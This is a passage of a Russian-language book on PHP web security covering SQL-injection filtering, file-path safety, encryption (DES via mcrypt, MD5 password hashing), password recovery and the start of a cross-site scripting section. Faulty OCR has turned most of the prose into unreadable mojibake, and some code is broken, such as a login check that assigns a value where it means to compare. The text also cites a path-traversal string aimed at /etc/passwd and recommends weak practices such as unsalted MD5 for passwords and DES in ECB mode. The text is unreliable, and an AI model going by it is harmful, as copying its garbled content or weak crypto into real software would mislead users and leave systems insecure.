B nanHoMm ciydae Ml BBITIOJNIHSIEM 3arnpoc K Gase JAHHLIX ¢ TMOMCKOM 3anucu
TO/IBKO MO WMEHH, NOTOMY YTO STOT NapamMeTp Mbl MOXEM MpOBEpsTh Ha Hemxo-
MyCTAMBIE CHMBOJBLI. 3areM MMpoBepsieM KOMUYECTBO IMOJY4YeHHBIX cTpoK. Ecim
OHO PaBHO HYIIO, 3HAaYWT, 3anucH He HailneHsl, M paborta cuUEHAapWs NODKHA
6uiTh npepsana. Ecom crpoka mosb3oBatens HaillieHa, To MMojy4aeM ee NaHHbie W
¢ NOMOWBLIO Orneparopa if NpoBepsieM Napob.

Oynkuns DBQuery () He apmserca dynxumueit PHP, 310 Haxcrpoiika, Koropas
MOXET BhIMIAAETH CleaylolnM obpazom:
function DBQuery ($var)
{
Squery = mysql_query($var) ;

if (!Squery)
{
// Specs Momer OuTH coofmeHue of oumbre
exit;
}
return $query;
}

Takoit cuenapuit sawmmen or araku SQL Injection. B pasdese 5.3.3 msr pac-
CMOTPHM MHTEPECHBII MpUMeEp AyTEeHTHU(HUKALMHK W 3aKPENUM 3HAHHUS O MapoJIsiX
Ha MpaKTHKe. '

3.8.5. Munmas sawmra

OnHaxast 8 BUAEN, Ka3anoch Obl, JOCTATOMHO XOPOLIEE PEelIeHHEe ¢ TOYKH 3PEHHs
6esonacHocTi. [Mporpammuct HeGonblioro caifta cosnan 6asy NaHHBIX BCEX BO3-
moxHbiXx URL-anpecos, ¥ nepei 3arpyskoil Kakoi-1m6o cTpaHHLbl MPOMCXOMUT
nposepka Hanmuuus agpeca B 6ase mauubX. Ecaim URL B 6ase npucyrcrsyer,
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TO 3arpy3Ka PaspelaeTcs, a eciiM HeT, TO 'BLINONIHEHHE CUEHApHs 1pepeIBaeTes.
Bpome 6b1 Bee mmeansHo, Belb Xakep He moxer uabpars URL, koroporo wer
B Base, HO HUYEro uaeanbHoro He GhiBaeT.

Hns nposepku momyetumocth URL menossayercss npumepro ciieayionyuii a-
npoc:

SELECT *

FROM TaGmaua

WHERE ValidURL=$url

IMpobnema saiumiovaercss B ToM, YTO JUlsl MPOBEPKH MCMoOMb3yeTes sanpoc K Gase
JaHHBIX, 8 3HAYMT, Xakep moxer nepesars takoit URL, xotopsiit Moxer mapy-
WHTL NpoBepky. Tak 4TO HaXe MpH MCNONL30BAHMM 9TONO BAPMAHTA 3ALIMTE!
HeoDXONUMO MPOBEPATHE NEpeMeHHYI0 $url (KOTopas AQIDKHA COAEpXarh TeKy-
wuin URL) Ha nenomycTimbie cumpoibl, [lomywaercs, uro 6asa gaHHbIX Oec-
CMBICHEHHA, BElb NPOBEPKH BCe PABHO HEOOXOMMMEL.

3amavya MpoBepKH TPH MCMOMLIOBAHWM TAKOTO BapHAaHTA 3ALIUTH YCIOKHAECTCH
Tem, yto ctpoku URL mns PHP-cueHapues mMoryr cofépxkarh napamerpbi, U B
3TOM clly4yae OT creLHANbHBIX CHMBOJIOB ? M & Y)Ke HHKyna ne jerscs. [lepsoe,
9TO UPHXOMUT B rofosy, — nepenectd cnucok URL u3 Gaswr pauusix B daitn.
OTo pemeHne eme Xyxke, notoMy 4to pabora ¢ gainaMu TakoKe Janeka or Wieana
u HebesornacHa.

EauncTBeHHBIN cyyail, Korna MOXKHO MCIONbL30BaTh MoAo6HYI0 3ammTy 1 oHa Gy-
ner peiicraurensio addexTusHOl, — 310 Npocroit caitr, rae yepea URL nepena-
eTcsl TOJIBKO OflHA NepeMeHHas id, KOTOpOH MpPHCBAMBACTCS HYMCIOBOE 3HAYEHIE.
B atoMm ciryuae nepeMeHHYI0 Surl AOCTATOMHO POCTO MPOBEPHTD MO LIAGIORY:

"http://www.sitename.com/ index.php?id:[o—g'] 1, ¥

Chayaya nepeMeHHas IPOBepAETCsl HA COOTBETCTBUE STOMY WabnoHy, W ecnu Bee
HOPMAJIBHO, TO TOJILKO [TOC/IE 3TOr0 MPOHCXOIUT MpoBepKa mo 6ase JaHHBIX.

Takoit BAPHAHT 3AUINTHL XOPOLI TONBKO IS MPOCTHIX CHEHAPHEB, KOTIA uyepes
URL npenaercst He Gosee nByxX napaMerpoB, W 3TH NapaMmeTpsl JIErKo OMNHCaTh
¢ nomolibio uwabnona. Ecan napaMeTphl CAMIIKOM CHOXHBIE, TO JAXKE CO3AATh
Takylo 6asy Oyaer npobiemaruaHo, XoTa Obl H3-3a ee pa3mepa.

3.9. Pabora c chainnamn

Teneps obeynum, uro Heobxoaumo GuanTposath npu. pabore ¢ daiiamu. Yrobet
npouie ObUIO MOHMMATH IpoGieMy, BCIIOMHUTE NPUMEpP, KOTOPBIH MBI paccMar-
puBatu B pazdene 3.4.1. Mue ynanoch BInOMAarh caifT uMeHHO Graromaps Hernpa-
BHJIIBHOMY OOpalleHHIo C mapamMerpaMiu, HCToib3yeMBIMH B GailloBoil cucTeMe.
@Oyukimn paborst ¢ daittopoit cucremMoil MBI VKe Bunen B pasdere 2. 14, a ceii-
yac ocTAHOBAMCS Ha BesonacHocTH.
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Kak Bcerna, aGecomoTtHoit 6esonacHocTy He GbIBAET, HO LN CHEAOBATE MEPETHC-
NEHHBIM HIDKe peKOMEHHOAlMAM, BEpOSTHOCTH OIMOOK B CHUEHApPUW COKPAaTHTCH
B HECKOJIBKO pa3:

1. Crapaiitecs obpaw@arses K daitram TONBKO B Texkyuiem karaiore. Ecin Heo6-
XONMM JIPYTOH KaTajnor, TO HHUKOTNA He WCHOAL3YHTE OTHOCHTEABHLIE TYTH,
a TONBLKO TIONHBIA NYTh OT KOpHs (aifnoBoif cucTeMbl. D10 Mo3BoIUT M3be-
3KaTh MPH VKA3AHWN MYTU OMACHBIX CUMBOJIOB, TAKMX KAK IBOIHAS TOMKA WY
cmau. B OC Windows onacHbl kak npsiMoil, Tak M o6paTHBIH ciall, MOTOMY
4YTO B 9T0H ONepauMoHHON cHeTeMe NpU YKAasaHWW TIYTH HCnoinsayioTes oba
cumsosna. Tlpu HeobxoxumocTy obpatuThes K aiiiam He U3 TEKyHIero Kara-
nora, Gea casieil oboiiTHes He yaacTes, HO eC/TH YKA3LIBATE MOTHBIH NYTH OT
KOPHSI, MBI MOXEM H30eXaTs MCromb30BaRHs TBOIHON TOYKN.

2. Wcxons us npeanbiyiieii peKoMeHIALNH, HEOGXoMMMO (HIBTPOBATh ABOHHYIO
TOYKY ¥ casl (obpartHblit cisiu), yTo6sl XaKep He CMOr YKA3aTh OTHOCHTE/Nb-
HOTO TMYTH K cHcTeMHBIM Kartanoram. Ecau noecmorpers Meropuio GiomiereHet
GesonacHoCTH, TO Bbl YBHAUTE JOCTATOYHO MHOTO COOBLIEHMI, B KOTOPBIX Xa-
Kep cMor Gnarogaps owubke Mcrnonb3osath nyrh THna ../../../../../ete/passwd
A NPOCMOTPETH CNUCOK OJIb30BaTENEH CHCTEMBI.

3. Cnenurte 3a npaBamMm goctyna K daitnaM. [na sanueu Bcem MONB30BATENAM
NOJDKHBL GBITH JOCTYHHBI TONBKO ASHCTBHTENLHO HeoOXonWMble daitasr, a ayd-
e, Yrobkl Ulsl 3aMHCH HUYero He GbUT0 HOCTYITHO.

Wl Bee Xe, i HE PEKOMEHIYIO MCronb3oBaTh obpalueHns K daitiosolt cucreme,
rlie Ha NMyThb MOXET MOBIHATH Nojb3oBarenb. [Tocrapaiitech HailTh Apyroe peiile-
HHe rpobnemMsl, a Ay4ilue Ucronbayiite 6a3y NaHHbIX.

Korna HeBO3MOXHO HallTH MHOE pelleHue, YeM [O3BOTUTH MOIb30BATENI0 BAU-
ATk Ha ¢ain u nyTs, HeoBXOMMMO ObITh NpPEeaeNbHO BHMMATENbHLIM. Hampu-
Mep, Ha GopymMax OYeHb YACTO MCMOALIYIOTCH KAPTHHKM, KOTOPBIE MOXKHO BbI-
Gupars ang orofpaxeHWs HaA CBOUMH coobmenusMu. B paHHoM chydae
MOXHO n3bexaTh ykazaHwst nytH K daitny uepes nepemennyio. [lis storo Bce
MyTH K KapTHHKAaM MporuchBaloTes B Tabauue 6assl AaHHLIX, 4 NONAL3OBATEND
JIOJKEH TOMBKO YKa3aTh MAEHTH(HMKATOP HEoOXONHMMOWN 3aricH, W OYTh YXe
Oyier n3BiekaTses U3 6asbl

3.10. Kpunrorpadcus

3a Bpemsi HamucaHusi Toit KHUrK (8 mecsiies) s mcmponan JIOCTATOYHO MHOTO
caifToB ¥ IPOCTO CLIEHApHeB Ha Ge30nacHoCTs, CTApasch BISIBHTH Hanbonee pac-
[pOCTpaHeHHBbIE OWMOKI TIPOrPAMMIICTOB M ONUCATH MX, 4TOGB! BbI HE MOBTOPA-
Joit omuOKH apyriux. Mou uccieioBaHus MPHLUTH K TOMY, YTO MPOrPaMMHUCTBI He
moBAT Mcronb3oBaTh wHdpoBanne, a, MOXeT GbITh, CUUTAIOT HTY TEMY CJIMIIKOM
cnoxHoit 1 u3beraior ee? S nonsiTalock NOKA3aTh BaM, YTO MUpPOBAHHE MPOCTO
HeoOxomumo, U Bhl yoenntecs, yro ¢ PHP 370 He Tak yX W cloxHo.
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Bce maponu, Koropble XpaHATCA Ha cepsepe, NOKHBI WHdposarsed. Takue nau-
HBIE TOMMKHBI XPAHUTHCS B HEYHTASMOM BUME, [IAXE SCNIU BEl YBEPEHSI, YTO BINOM
HeBoaMoXeH. Mcropus 1oKas3plBaer, YTo BA/IOMATh MOXHO BCe, XOTs GBI M camyio
3aLMIIEHHYI0 CHCTEMY, BOMPOC TONBKO B TOM, KaK AANEKO MOXET ITOWTH XaKep.
Ecin xakep cMor nomyuuts 6asy JaHHBIX Mo/ib3oBaTeNleil ¢ napomsiMu, ¥ TNpH
3TOM BCE MAHHBIC HAXONATCA B OTKPBITOM BHIE, TO 3a/la¥ya BIIOMIIHKA CHIIBHO
ynpomaercs. Ecnu Xe naponu 3awmdpoBaHbl, To MX MpMIeTCs elue u pacumd-
POBBIBATS.

Yem Oonee crolikuit anropuT™ WH(PPOBAHUS TPHUMEHAETCA B CHCTEME, TeM
cnoxHee Oymer xakepy packpbiTh Heobxommmylo wHdopmauuio. Ecnu maponn
HOOCTATOYHO JUTHHHBIE W CIOXHBIE, TO 3axa4ya nonbopa Gymer TpeboBaTh CAHIKOM
Gonbiunx 3arpar, W GONBIIMHCTBO XakepoB Npocro OpocHT ary 3arel0 W Oyner
HCKaTh APYroil BapUaHT pelleHus npobieMsl.

Wrak, mobsie naposn B Gase NaHHBIX HYXHO mHdposath. S B cBOMX MpoeKTax
wurdpylo ¥ HMEHA noib3oBaTeNeil M HUKOIIA He XpaHio UX B OTKPLITOM BMIE,
ecnu HeT ocoboil HeobxomumocTu. S Bl wndposan abcomoTHO Bee 1MONA, HO 3TO
Gyner CAWIIKOM HAKIAIHO JUIS cepBepa.

Wrak, nepeiinem HemocpencTBéHHO K ndposaumio. Her, Ham He npuaercs
APUIYMBIBATE WIM PEAIH3OBLIBATD KAKOH-IMGO ANropHT™M CAMOCTOSTENBHO, XOTSH
M 3TO BO3MOXHO. MBI Bocrnonb3yeMcst yXe roTossiMi yHKumusMu. Peamusosars
HelCTBUTENBHO CTOMKHWH ajropuT™ ciwimiKoM cioxxo. Ham atoil temoit 6sercs
nocratoyHo GoNbLIOE KONMYECTBO BEJMKMX MATEMATMKOB, mMo3roMmy He Oyaem
¢ HMMH COPEBHOBATHCH, A BOCIIONBIYEMCS YK€ roToBbIMM ajiroputMamu. Tem Go-
nee, 4yTo B GONBIIMHCTBE CIYYaeB MX BIIOJHE JAOCTATOYHO.

Ilngpposanue MOXeT OBITh CUMMETPHYHBIM, ACHMMETPHYHBIM WJIM HeoGpaTu-
MbIM. MBI paccMOTPUM Bce TPU BHAA M HAYHEM C CAMOro MPOCTOTD — CHMMET-
PHYHOIO,

3.10.1. CummeTpuyHoe wucpposaHue

CummerpuyHoe WHGPOBaHHE NOABHIOCH caMbiM nepsbiM, s wudposaHus
AAHHBIX MCTIONB3YRTCs KINOY, KOTOPHIH CAYXKHMT B s fAeuindposku saHHsX. Ca-
MBI ITPOCTOI BapUAHT 3aUIMpPOBATH CTPOKY — BLIMOMHHTE JOMHYECKYIO onepa-
unio XOR Han paHHBIMK K KmiovoM. [ns pactingpoBkH TpeGyercsi NoBTOpUTE
oleparmio.

Kaxoit 66l cloxHbli AATOPHTM Bbl HH UCMONB30BAIK, ¥ CHMMETPUYHOTO wWKdpo-
BAHMS €CTh HECKOJIBKO OYeHb CePbe3HbIX HEAOCTATKOB:

0O OnuH K04 MCAOAb3yeTcs Wis wudpoBaHus v aemudposanusa. Takum obpa-
30M, OTTIPABUTEAb M TOMYYATENb 3aIM(POBAHHBIX JTAHHBLIX TO/DKHBL oGaanars
ONHHM W TeM X€ KMo4yoM. A KaK 0OMeHAThcs Kmogamu uepes MHrepuer,
Koraa 3ra cBsi3b OTKpbitas? [omycTiM, YT Bel XOTHTE MOOGIIATECA CO CBOMM
ApYroM M3 APYroro ropoga 1o 3JeKTpoHHOI noure, He Gosick, YTO KTO-TO
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NOACMOTPUT Balny nepenucky. OnMH M3 BAC JOJDKEH MPHIYMAaTh WIH CreHe-
PHPOBaTh KITIOY, C MOMOILBLI0 KOTOPOro Gyler nmpoHcXoanTs wudposanue, U
BhIC/IATH Yepe3 e-mail ceoemy xoppecrionseHTy. Eciu wiiou He Obii nepexsa-
YeH, To Tocjenyonme sandposaHnbie coobmennss MOXHO cyuTars Gonee-
MeHee 3aKphITBIMM, HO €C/M MUCHMO C KIOMOM ObUIO mepexBadeHo, TO mHd-
POBaHHE CTAHOBUTCS GecCMBICEHHBIM.

O Xakepbl YTBEpXAAOT (M 3TOMY AOCTATOYHO MCTOPHYECKHMX MOATBEPHICHWIL),
uTo MH(pOpPMaLMA, H3BECTHAS [BOWM, MOXET craTh HOCTynmHOH BeeM. EcThb
MHOTO CriocoGoB MoayueHus HyXKHON MH(OPMALIMK C MOMOLUIBIO COLWATLHOM!
MHXEHEPHH.

U Bce xe, cUMMETPHYHOMY WKH(DPOBAHMIO MOXKHO HANTH MHOXecTBO 3¢ hexTHB-
HBIX npumenenuit. Hanpumep, umdposanune nanHeix Ha cepsepe. Jdonycrum, uro
HeobOxomumo 3ammdpopars Kakoi-nubo aoKyMmMeHT, YToObl Xakep, B3NOMaB cep-
BEp, He CMOr YBMIETL ero couepxumoe. JlokymeHT He OymerT nepeaaBaTbesi 110
CETH, @ 3HAYHT, HHKOMY He HYXHO OTAABATH KIIIOY, MOSTOMY MEPEXBATHTD €ro He
yaacTes.

K nauGonee pacnpocTpaHeHHbIM AITOPUTMAM CHMMETPHYHOIO LndpoBaHus or-
nocsires: DES, 3DES, Blowfish, CAST 128 u 7. . Camslii npoctoit cnocob 3a-
wn$poBark JaHHEE — BOCMONB30BaThCA (DYHKUMEH merypt_echb(), KOTOpas
NPUHHMAET YeThlpe mapamerpa:

0 koHcraHty, yKaseisaloulyio Ha atroputm. Murepnperarop PHP mna wudpo-
BaHUs ucnonbayer Gubnmorexy libmerypt, KoTopas nomnepxKuBaer Gonsioe
KOJIHYECTBO WITOPUTMOB, MOTOMY PACCMATPUBATE MX BCe HeT CMbICAA, HO OC-
HOBHBI® KOHCTAHTHI 3HATh HeoOXOAMMO:

e MCRYPT_DES — anropurm DES;
* MCRYPT_3DES — anropurm 3DES;
 MCRYPT_BLOWFISH — anropurm Blowfish;
¢ MCRYPT_CASTI128 — anroputm Cast128;
MCRYPT_CAST256 — anroputm Cast256;
0 ximoy,
O nanubie wis wndposaHus;
O pexuM. 3nech MOXHO YKA3aTh OHO U3 JBYX 3HAYEHWMIL:
* MCRYPT_ENCRYPT — 3aurndposars JaHHBIE;
e MCRYPT_DECRYPT — pacummdposars.
Pacemorpum npocreiimmii npumep wrdposanus no arropurmy DES:
<7php

Skey="370 KIOY";
Stext="Coofmenue, KOTOpoe NOKHO CuTh Samposano”;
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$str=mcrypt ecb(MCRYPT DES, S$key, S$text,
MCRYPT_ENCRYPT) ;
™

B pesynsrate B mepemMeHHoli $str Gyner coxpamed saumgpoBaHHbIE TEKCT W3
nepeMeHHoit $text. Yrobnl pacumdposaTs AaHHBIE, HYXKHO HCNONL3IOBATH TOT
Ke KoY M Ty Xe (pYHKHMI0, HO B KAYEGCTBE TPEThEero napaMerpa nepejarsh a-
WHpPOBAHHBINA TEKCT, & B KA4ecTBE MOCHEAHEro — KOHCTAHTY MCRYPT _DECRYPT:

<?php
Sdecrypted_str=mcrypt_ecb(MCRYPT _DES, S$key, $str,

MCRYPT _DECRYPT) ;
>

3.10.2. AcummeTpuyHoe wWwncpposaHne

AcummerpnyHoe mmdposaHue pelraer npobnemy nepeaaun Kioya 1o ceT, no-
TOMY 4TO JUISl TAHHOrO BHAA WN(DPOBAHNS UCIONLIYIOTCS IBA KNOYA: OTKPLITHI
1 3akpuTeii. C moMouisio crienuanuauposantoi nporpammsl (8 OC Linux mnst
artoro ucnoassyercs Gubanoreka OpenSSL) Bul renepupyere nmapy 3 oTKpPBITOTO
U 3aKpeITOro KMoYa. OTKpLITEH KIIOY MCHOMb3YETCs s tunpoBaHus, a L
pacuiidpoBarus HeoOXomHM 3aKpHITEI Kmiou. Takum obpazoM, OTKPBITHIA KIIow
moxer Oe3 onaceHmit nepepasaThes MO OTKPBITHIM KAHAJIAM CBA3H, NOTOMY 4TO
C ero MOMOLIBLIO HENMb3s paciuupoBaTh JAHHBE. 3aKphIThIH K04 BEl cOXpaHseTe
y cebs st pacuugpoBaHusl.

ACHMMMETPHYHBLA MeTon HanexHee. Her, anropurMel cuMMerpuyHoro wndgpona-
HMS TAKXKE CTOMKH K ATakaMm Xakepa, HO MPH ACHMMETPHYHOM METONE, eCAH Bhl
HHKOMY He JajuTe CBOi 3aKpLITHIl KMOY, TO €ro HEeBO3MOXKHO Oymer y3Hars,
4 JHAYUT, VIS B3JIOMA NPHIETCS HCIOMB30BATL TONLKO CHynbiii nepebop Bseex
BO3MOXHBIX Kmioueif. Ecin Bbi cosnamure Koy, wmHoit 8 1024 cumsona, 1o 3a-
Tparsl Ha nepebop OYAYT Ype3BLIYAHHO BLICOKH.

Ipu cosmauuyn Web-npuwioxennit tpyuHo Hafitu chepy npuMeHeHHs acCHMMET-
pu4Horo wndpopaHis, 1 B GOIBUIMHCTBE Cliyyaes OHO BYNET NATHIIHUM.

3.10.3. Heo6parumoe wmchpoeaHne

Mocnemnuit Mero), KOTOPBII HAM TIPENCTOMT pPacEMOTPETs, — Heobparumoe
wudposanne. JauHblii METOL OTIMYAETCH TEM, YTO HWCIMOAb3YEeMbIH ANTOpHTM
npeobpa3oBbIBAeT MaHHble TOJILKO B OIHY cTOpoHy, ofparHoe npeoGpasoBaHue
HEBO3MOXHO. 3avyeM 910 HYKHO? HeobparuMelit MeTon vaiie BCero MCnoib3yioT
s wudporanus naposed. Kak Xe Toraa mpoBepuTh, NpaBHIbHO JIM NONL30OBA-
Tesb BBes mapons? OQuelb jaxe MPOCTO: BBENEHHbIE AaHHBIE Takke wHdpyloTes,
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H pesynkTar cpaBHWBaercs ¢ 3audpoBaHHLIM TaponeM, XpaHsumwmces B Gase.
Ecnu otk sHaveHus coBnaaloT, To Naposb BBEAECH BEPHO, WHAYE aBTOPU3ALAS
HEOCTYITHA.

Hnst mpoBanus HeoGpaTHMBIM 06pasoM B PHP senoibayercst GYHKIMS mds ().
Crexyoluii MPHUMep MOKA3LIBAET, KAK BBl MOXETE 3alli(posaTh Napoib:

$md_pass=md5 ($password) ;

B pesynprare B nepeMeHHoH $md_pass Gymer HaxoAnThes sammdpoBaHHbLl He-
obparuMsiM 06pasoM naporb U3 MepeMeHHoit $password. Tenepb MHOCMOTPHM,
KaK MOXET [POHCXOANTH TIPOBEPKa T11apoJis MOMbioBaTes:
if (mdS($password)== $md_pass) and ($usernames=$name)

{

// RBTOpWSauMA NpOUNA YCNEmHO
}

3.10.4. lNpakTuka ucrnonb30BaHnA

Mpu suibope Merona BaM vame Beero mpHAeTcs BhIGUPaTh MEXIY CHMMETPHY-
HBIM ¥ HeoOparumeiM metonoM. Crenars BuIGOp AOCTATOUHO ITPOCTO, Beab Heob-
patiMo saludpoBaHHbie faHHbBIe HENb3sl pacuudpoBars, Mo3TOMY 3TOT METON
YAILLE BCEro HCMOAL3YETCS WISl Xpavenus maponeit. Tlaponn HUKOrna He BBIBO-
mrest Ha Web-cTpaHuue, n Ham He nyao llaxe ma'n, 4TO UMEHHO yKasbiBan
MOJIbL30BATENE [IPH PErHeTpaLim.

Ecnu Ber BeiGpanyu yHKimio wds () wis wndposanns naposneit, TO Bbl JIOJIKHBI
OTAABaTh cebe OTYET, UTO BOCCTAHOBUTL NApONL OYAeT HeBo3MOXHO. ECHM monb-
30BaTeNb 3a0b1 €ro, TO CAMHCTBEHHDIH crnocob pelieHus npobaeMsl — COPOCHTE
naponk. Ho kak sto cnenars? Jlydmie Bcero He jienath 3Toro Boobiie.

Ko Mue yacto obpawaiorest ¢ npocsboil BoceTaHoBUTSE 3abLIThI Mapons WK obHy-
muth ero. Ho KaK s MOry OwiTh yBepeHHBIM, YTO TOT, KTO OOpauiaercs, ACHCTBH-

TeNBHO sIBSieTCS BranensieM tpebyemoit yuerHol sanuceu? B rakmx cayyasx Ha
caifte TpW PerHCTPaLini MONL3OBATENO MOXHO MNPEUTOXNATE 3alaTh OTBET Ha
Kakoii-HUGYb BONpOC, HAMPHMED, HA3BaTh JiobuMoe Gmoo. Ecnu noib3oBaTens
3abbI1 MapoNib, TO MOKHO MPEUIONKHTE EMy OTBETHTH HAa BOMpPOC. DTOT METON MC-
MMOJIB3YETes! HA MHOTHX TONYIAPHBIX KPYMHBIX cayxbax; Ho ero addeKTHBHOCT
canukoM Huaka. IMouemy? 51 nocrapaiocs BaM MOKA3aTh HA JIMYHBIX HABMIONEHMSIX.
Jlyuiue Bcero, ecn Bama cucrema Gyner TpelTATaTE HECKONBKO PadIMIHLIX
BOIIPOCOB, @ OTBET HYKHO GyleT BEOIMTE BPYYHYIO, a4 HE BHIGWPATE W3 CMMCKA.
Ecam monpsosaress 3a6bU1 Napofih, OH JOJDKEH caM HaiiTH Borpoc, KOTOpEIf BhI-
Gpan nmpw perMcTpanMu, H caMocTosTeNsHO BBecTH orser. Hukorna He menons-
syiiTe 3apaHee onpejiefieHHEIE CIIHCKN C BAPUAHTAMH OTBETOB.

[Toxa Bpojie Bce KpacHBO, W HMYTO He mpexpenaer Gensl. Xakep He MOXET 3HATH
BOITPOCA, KOTOphI Beibpan nojs3oBarens, 1, TeM Gosee, oTeera Ha Hero. Xopoliio,
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HO He coBceM. Bo BpeMsi HanmucaHusi KHHTH # HALIEN YA3BHMOCTB HA OLHOM M3
caiftoB # coobwmn 06 3ToM aaMMHUCTpaTopy. YssBumocTh Obiia cepsesHas,
M aIMMHHCTPATOP MOMPOCH MEHsl TilaTelbHee NpoBepuTh GesonacHoCTh He-
TO/Ib3yeMBIX CLEHAPHEB, HO MOMPOCH/ HE PACKPHIBATH B KHHUIEG HA3BAHME caitra,
ecnu 5 cobepych omuckBaTh BaoM. Bosee yraybneHHoe MccIeaoBaHue HE MoKa-
3210 ApYrix yA3BHMOCTEH, HO MHE YJaJoCh 3anofyyuTh TAbIMIy AAHHLIX O 3a-
PerHCTPUPOBAHHBIX MNoab3oparensix. [lpoaHanu3npoBaB MaHHBE, 5 TOPAIUICH
TOMY, 4TO 0K0JI0 70% orseros 6sumH oxHooGpasHel. Hanmpumep, HAa Borpoc o Jio-
Gumom Grmione oYeHb YACTO BCTPEHANMCH OTBETHL MUBO, GaHAHBI, oMMBbLE, GOpIL M
ellle HECKOMbKO BapUaHToB. [JefCTBUTEIbHO, KOTAa BaM 3aJiaioT BOMpPOC O ele, 1o
GonbIIMHCTBO BBIOEpeT camoe momyaspHoe G0N0, KOTOPOe TMEPBLIM MPUAET HA
yM. Huxro He Gyaer BuIIYMBIBATE HHYErO CIOXHOIO.

To xe camoe OBUIO ¥ C OTBETAMH HA BOMPOCH O KIWYKe COGAKM, MONYJISpHBIS
KIHYKH MOXHO MEpeYHCIHTh Mo nanbuam. B Takux caydasx HOCTATOYHO MMETH
XOpOWMHi cloBaps H HEMHOTO BpeMeHH wisi monbopa, ¥ Gonbiias YacTs YYeTHLIX
3anuceit Gynet BITOMAaHO.

[Mpuseny eume o npuMep. I'on Hasal Xakeps! BITOMAIU CepBep XOCTUHIOBON
KOMMNAaHWK, rae Haxomuics mo#t caitt, S coobuimin o6 3ToM anMHHUCTPAUMH,
K 4Yepe3 4yac KO MHE NPHILI0 MUChMO, YTO BCE MApOiH MPHHYAUTEILHO MEHAIOT-
csd. Yrobbl BOCCTAHOBHTH MAPOJL, HYXHO OBUIO BOCMONB3OBATHCH CHCTEMOIt
"BernoMHNWTB MAposk”, NpM KOTOPOil ero oTNpamisiii Ha agpec e-mail, ykasanHuil
npu peructpauuu. CaMoe cTpalliHoe, 4TO TOT afpec i yxe AasHo 3abpocuil, H €ro
3akpeuTd. YTOGHI MONYYUTH MApOib, MHE MNPUILJIOCE OTHPABUTH TENErpaMMy
B 4[pec XOCTHHIOBOH KOMMAHWK C MOMMM 3aBEPEeHHBIMM MACIOPTHHIMYH NAHH ki~
MU. JlioGele coobleHus Mo BIEKTPOHHOM NMOYTe UTHOPUPOBANUCE, M TMAPONU He
BhICEUIANHCH. [la, 9TO HOCTaBUIO MHOXECTBO MpobieM JeralbHbLIM MONb3IOBaTE-
JISIM, HO 3aTO MOXHO OBUIO rapaHTHPOBATH, YTO HU ONMH XaKep HE CMOXET nepe-
XBaTHTD YNpaBjleHHE MOUM CaliTOM.

Bl MoXeTe cnpocuTh, @ noYemy Henbasi OBUIO OTHPABUTHE MACHOPTHLIE NAHHLS
no 3nekTpoHHoi nmoyre? Henbsst. [leno B ToM, 4TO 3TH AaHHbIE MOIIH ObITh yKa-
3aHbl MPH PETUCTPALMM JOMEHA, 4 3HAYWT, MOGOH XaKep MOXET YBHAETh MX 4e-
pe3 cayxby Whois, Bbicnate no e-mail aiMMHMCTPaToOpy cepBepa M INepexBaTHTh
Moii aponb. A BOT OTNPaBUTh 3ABEPEHHYIO TEJerpaMMy HAMHOIO CNIOXHEe.

HMeHHO MO3ITOMY Sl PEKOMEHYI0 HMKOr/a He CO3AaBaTh BO3MOXHOCTH BOCCTa-
HoeneHus naponeit. [la, wia Web-unrepdeiica mouroBoii cinyxOul 370 He MO0l -
fIeT, TIOTOMY YTO MOJb30BATE/IM MOCTOSIHHO 3a6bLIBAIOT MAPONH K CBOMM SILMKAM,
W TEpATh M3-3a STOrO 3MEKTPOHHBIL ampec npocto Henbas. B arom ciyyae mc-
nonbayiire DES ¢ MakeumansHolt wmHol kioya. Ho Ha dopymax M yarax Mox-
HO Mo3BOJNHTE cebe 3amndposark TaHHbe ¢ nomokio MDS.

Heob6parumoe mmndpoBaHne MOXHO WCIONL3OBATL U JUIST MPOBEPKH LIENOCTHOCTH
naHHbX. Hanmpumep, cosnark B Tabiule OTAENBHYW KONOHKY, B KOTOpoil Oymer
XpaHUTbCH 3aludpoBaHHbIl BapHaHT BeeX noneit. Ecin xakep cMOXET H3MEHHTh
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CONEPXKMMOE OIHOTO M3 TONEH, HO He MIMEHWT saimudpopaHHoe TIONE, TO BbI
cpasy Xe 3aMETUTE YTO-TO TMOAO3PHTENbHOE,

XpauuTs 3amucpoBaHHbil BAPUAHT BeexX noel HeahPEKTHBHO, HOTOMY YTO 3TO
norpebyeT cauiikoM Gombliux pacxonoB. Heobxouaumo OrpaHHYMTLES TONBKO
OCHOBHBIMH monamu. Hanpumep, MoxHo 3ammudposBars 1Napojib ¢ MNOMOUIBIO
3DES, a motom ¢ nomouwsio mdS sammdposars UMA TOIB30BATENS M YXe 3a-
wrdpoBaHHL napons. Takoe roje Ha30BeM KOHTPoOAbHO# cymmoit. Toraa, eciu
XaKep ronbITaeTes U3IMEHHUTL HMSI WIH Mapoib, HO HE NMEPECYUTAET KOHTPOIbLHYIO
cyMMy, Bbl BBICTpO OGHapyXHTE MOIBITKY B3TOMA M C NOMOIUBLI) CUEHAPHS CMO-
KeTe NpOCUTHANM3UPOBaTh 0 Hel (oTNpaBuTh coobILEHMe Ha aipec anMUHHCTPa-
TOpa) W 3ampeTHTh BXOI ¢ MCTojibayemoro xakepoM IP-anpeca.

3.11. Araka Cross-Site Scripting

Onma u3 coBpeMeHHBIX arak Ha Web-caiiTs nonyma Hassaume Cross-Site
Scripting. Dra araka ocHoBaHa Ha TOM, 4YTO Xakep BHenpser B Web-cTpanuily
csou HTML-zupexrussr. C ux nomolibio emy ymaeresi ykpacts (aitasl cookie
MONB30BaTENst M Y3HATh UX comepxumoe. Ecan B aTHx dainax 6sUmM cOXpaHeHb
Nnapojiu, To XaKep nojyyaet AOCTYIl K YY4eTHOH 3alUCH nojib3oBarens.

Ecoru xakep cMOXeT BHEAPHTb cBOil kKoi B Web-CTpaHuily, TO 9T0 rPO3HT HaM He
TOJIBKO BIIOMOM, HO U Mopueil comepxumoro. [Ipy onpeleseHHbIX YCIOBHAX Ta-
Kyl0 araky MOXHO OTHecTH K Kiaccy jedeiic (moameHa crpaHnubl). Bosmox-
HOCTh BHEIPEHUS YYXKOTO KOja Ha cailT neificTBUTENBHO ONACHA, M HA 3TO HEIb3A
3aKpblBaTh I1asa.

Yrobbl Xakep Heé ¢MOP BAHATH Ha comepkumoe Web-cTpaHuil, Bbl ZOMKHEl BHHM-
MaTebHO NPOBEPSTH KaXIblif fapaMeTp, KOTOPBI MepefaeTcs Moib3opaTeseM,
W COZEePXUMOE KOTOPOTO BEIBOAMTCS Ha cTpamuuy. [omycrum, 4TO BB XOTHTE
HamucaTh (GOpYM HIM rocTeBylo KHury. Takwe cueHapuu o6s3arTe]ibHO MONYYAIT
